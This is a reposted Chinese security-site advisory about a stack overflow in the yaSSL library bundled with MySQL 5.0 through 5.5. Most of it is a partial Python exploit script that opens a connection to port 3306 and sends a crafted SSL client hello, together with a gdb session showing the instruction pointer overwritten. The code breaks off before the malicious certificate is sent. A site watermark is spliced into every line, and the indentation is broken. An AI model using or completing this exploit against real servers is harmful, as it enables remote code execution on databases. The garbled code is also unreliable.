MySQL yaSSL库证书解析栈溢出漏洞
发表时间:2010-02-01 09:49:37 作者: 来源:红客联盟 收藏本页

受影响系统: MySQL AB MySQL 5.5-ms29QX中国红客联盟-全球最大的红客组织
MySQL AB MySQL 5.1.x 9QX中国红客联盟-全球最大的红客组织
MySQL AB MySQL 5.0.x9QX中国红客联盟-全球最大的红客组织
描述: --------------------------------------------------------------------------------9QX中国红客联盟-全球最大的红客组织
BUGTRAQ  ID: 379439QX中国红客联盟-全球最大的红客组织

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。9QX中国红客联盟-全球最大的红客组织

MySQL所捆绑的yaSSL库在解析畸形证书时存在栈溢出漏洞,如果数据库在编译时加入了对SSL的支持并且配置打开了SSL功能,远程攻击者可能利用此漏洞通过提交畸形的证书内容触发这个溢出,从而在服务器上执行任意指令。9QX中国红客联盟-全球最大的红客组织

<*来源:Evgeny Legerov (aland@freeradius.org)*>9QX中国红客联盟-全球最大的红客组织

9QX中国红客联盟-全球最大的红客组织
----------------------------------测试CODE-----------------------------------------9QX中国红客联盟-全球最大的红客组织
#!/usr/bin/env python9QX中国红客联盟-全球最大的红客组织
#9QX中国红客联盟-全球最大的红客组织
# Use this code at your own risk. Never run it against a production system.9QX中国红客联盟-全球最大的红客组织
# 9QX中国红客联盟-全球最大的红客组织
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES9QX中国红客联盟-全球最大的红客组织
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF9QX中国红客联盟-全球最大的红客组织
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR9QX中国红客联盟-全球最大的红客组织
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES9QX中国红客联盟-全球最大的红客组织
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN9QX中国红客联盟-全球最大的红客组织
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF9QX中国红客联盟-全球最大的红客组织
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.9QX中国红客联盟-全球最大的红客组织

"""9QX中国红客联盟-全球最大的红客组织
Usage: mysql_overflo1.py localhost9QX中国红客联盟-全球最大的红客组织

MySQL yassl cert parsing stack overflow9QX中国红客联盟-全球最大的红客组织

Debug session on 5.5.0-m29QX中国红客联盟-全球最大的红客组织

suse11:~ # gdb -q9QX中国红客联盟-全球最大的红客组织
(gdb) att 55429QX中国红客联盟-全球最大的红客组织
Attaching to process 55429QX中国红客联盟-全球最大的红客组织
Reading symbols from /var/mysql/libexec/mysqld...cdone.9QX中国红客联盟-全球最大的红客组织
...9QX中国红客联盟-全球最大的红客组织
0xffffe430 in __kernel_vsyscall ()9QX中国红客联盟-全球最大的红客组织
(gdb) c9QX中国红客联盟-全球最大的红客组织
Continuing.9QX中国红客联盟-全球最大的红客组织

Program received signal SIGSEGV, Segmentation fault.9QX中国红客联盟-全球最大的红客组织
[Switching to Thread 0xb6bbab90 (LWP 5545)]9QX中国红客联盟-全球最大的红客组织
0x41424344 in ?? ()9QX中国红客联盟-全球最大的红客组织
(gdb)9QX中国红客联盟-全球最大的红客组织

"""9QX中国红客联盟-全球最大的红客组织
import os9QX中国红客联盟-全球最大的红客组织
import getopt9QX中国红客联盟-全球最大的红客组织
import sys9QX中国红客联盟-全球最大的红客组织
import socket9QX中国红客联盟-全球最大的红客组织
import time9QX中国红客联盟-全球最大的红客组织
import telnetlib9QX中国红客联盟-全球最大的红客组织
import struct9QX中国红客联盟-全球最大的红客组织
import base649QX中国红客联盟-全球最大的红客组织
import random9QX中国红客联盟-全球最大的红客组织

class theexploit:9QX中国红客联盟-全球最大的红客组织
 def __init__(self,host):9QX中国红客联盟-全球最大的红客组织
  self.host = host9QX中国红客联盟-全球最大的红客组织
         self.port = 3306 9QX中国红客联盟-全球最大的红客组织

 def gettcpsock(self):9QX中国红客联盟-全球最大的红客组织
  sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)9QX中国红客联盟-全球最大的红客组织
  return sock9QX中国红客联盟-全球最大的红客组织
 9QX中国红客联盟-全球最大的红客组织
 def int2berlen(self,i):9QX中国红客联盟-全球最大的红客组织
         e=self.int2ber(i, signed=0)9QX中国红客联盟-全球最大的红客组织
         if i <= 127:9QX中国红客联盟-全球最大的红客组织
                 return e9QX中国红客联盟-全球最大的红客组织
         else:9QX中国红客联盟-全球最大的红客组织
                 l=len(e)9QX中国红客联盟-全球最大的红客组织
                 return chr(0x80|l) + e9QX中国红客联盟-全球最大的红客组织

 def int2ber(self,i, signed=1):9QX中国红客联盟-全球最大的红客组织
         encoded=''''9QX中国红客联盟-全球最大的红客组织
         while ((signed and (i>127 or i<-128))9QX中国红客联盟-全球最大的红客组织
                 or (not signed and (i>255))):9QX中国红客联盟-全球最大的红客组织
                 encoded=chr(i%256)+encoded9QX中国红客联盟-全球最大的红客组织
                 i=i>>89QX中国红客联盟-全球最大的红客组织
         encoded=chr(i%256)+encoded9QX中国红客联盟-全球最大的红客组织
         return encoded9QX中国红客联盟-全球最大的红客组织
 9QX中国红客联盟-全球最大的红客组织
 def big_endian_24(self, length):9QX中国红客联盟-全球最大的红客组织
         l1 = (length & 0xff0000) >> 16;9QX中国红客联盟-全球最大的红客组织
                l2 = (length & 0xff00) >> 8;9QX中国红客联盟-全球最大的红客组织
                l3 = length & 0xff;9QX中国红客联盟-全球最大的红客组织
                size = chr(l1) + chr(l2) + chr(l3)9QX中国红客联盟-全球最大的红客组织
  return size9QX中国红客联盟-全球最大的红客组织

 def attack_mysql(self):9QX中国红客联盟-全球最大的红客组织
  sock = self.gettcpsock()9QX中国红客联盟-全球最大的红客组织
  sock.connect((self.host, self.port))9QX中国红客联盟-全球最大的红客组织
  #sock.set_timeout(30.0)  9QX中国红客联盟-全球最大的红客组织

9QX中国红客联盟-全球最大的红客组织
  print "press any key"9QX中国红客联盟-全球最大的红客组织
  sys.stdin.readline()9QX中国红客联盟-全球最大的红客组织
  9QX中国红客联盟-全球最大的红客组织
  s=sock.recv(8000)9QX中国红客联盟-全球最大的红客组织
  print s9QX中国红客联盟-全球最大的红客组织

  s ="\x20\x00\x00\x01\x85\xae\x03\x00\x00\x00\x00\x01\x08\x00\x00\x00"9QX中国红客联盟-全球最大的红客组织
  s+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"9QX中国红客联盟-全球最大的红客组织
                s+="\x00\x00\x00\x00"9QX中国红客联盟-全球最大的红客组织
                s+="\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"9QX中国红客联盟-全球最大的红客组织
                s+="\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"9QX中国红客联盟-全球最大的红客组织
                s+="\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39" 9QX中国红客联盟-全球最大的红客组织
                s+="\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"9QX中国红客联盟-全球最大的红客组织
                s+="\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"9QX中国红客联盟-全球最大的红客组织
                s+="\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"9QX中国红客联盟-全球最大的红客组织
                s+="\x00\x03\x02\x01\x00"9QX中国红客联盟-全球最大的红客组织

  sock.sendall(s)9QX中国红客联盟-全球最大的红客组织
  print "Sent SSL_CLIENT_HELLO"9QX中国红客联盟-全球最大的红客组织
  

下一篇:下面没有链接了
豫ICP备09015648号版权所有© 2001-2009中国红客联盟 All Rights Reserved.